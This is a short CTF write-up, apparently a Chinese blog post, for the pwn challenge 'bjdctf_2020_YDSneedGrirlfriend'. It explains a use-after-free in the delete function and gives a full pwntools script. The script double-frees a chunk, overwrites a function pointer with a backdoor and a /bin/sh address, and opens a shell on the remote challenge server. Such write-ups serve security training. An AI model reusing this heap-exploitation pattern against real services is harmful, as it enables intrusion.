zoukankan      html  css  js  c++  java
  • bjdctf_2020_YDSneedGrirlfriend

    流程分析

    这个是比较简单的,跳过

    漏洞利用

    由于delete函数有uaf漏洞,还有后门函数,所以可以劫持girlfriendlist的puts函数,在把/bin/sh的地址放在+8的偏移上即可

    1. 先创建两个0x10的结构体,程序会创建4个
    2. double free掉第0个
    3. 申请一个0x32的,这时堆的情况是第0个的girlfriendlist结构体是空的,我们可以控制这个结构体里的函数了,劫持
    from pwn import *
    
    #p=process('./bjdctf_2020_YDSneedGrirlfriend')
    p=remote('node3.buuoj.cn',27473)
    context.log_level='debug'
    def add(size,content):
        p.recvuntil('choice :')
        p.sendline('1')
        p.recvuntil('is :')
        p.sendline(str(size))
        p.recvuntil('is :')
        p.sendline(content)
    
    def delete(idx):
        p.recvuntil('choice :')
        p.sendline('2')
        p.recvuntil('Index :')
        p.sendline(str(idx))
    
    def print_fun(idx):
        p.recvuntil('choice :')
        p.sendline('3')
        p.recvuntil('Index :')
        p.sendline(str(idx))
    
    sys_addr=0x400B9C
    bin_sh=0x400E00
    add(0x10,'pppp')
    add(0x10,'pppp')
    
    delete(0)
    delete(0)
    
    add(0x20,'pppp')
    add(0x10,p64(sys_addr)+p64(bin_sh))
    #gdb.attach(p)
    print_fun(0)
    
    p.interactive()
  • 相关阅读:
    requests库之处理响应
    requests库之自定义request
    requests库之请求异常处理
    requests库之带参请求
    BFS广度优先
    分治模板
    递归模板
    数据机构与算法学习(三)- 数组
    消息队列学习笔记
    数据结构与算法学习(二)
  • 原文地址:https://www.cnblogs.com/pppyyyzzz/p/13978833.html
Copyright © 2011-2022 走看看